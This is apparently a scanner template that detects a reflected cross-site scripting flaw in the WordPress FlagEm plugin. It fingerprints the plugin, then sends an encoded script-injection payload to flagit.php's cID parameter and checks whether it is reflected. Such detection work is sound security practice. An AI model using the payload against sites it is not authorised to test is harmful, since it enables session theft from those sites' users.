id: wp-flagem-xss

info:
  name: WordPress FlagEm - Cross-Site Scripting
  author: daffainfo
  severity: high
  description: WordPress FlagEm plugin contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://www.exploit-db.com/exploits/38674
    - https://vulners.com/packetstorm/PACKETSTORM:122505
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 2
  tags: wordpress,xss,wp-plugin,edb,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/FlagEm/'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/FlagEm/flagit.php?cID=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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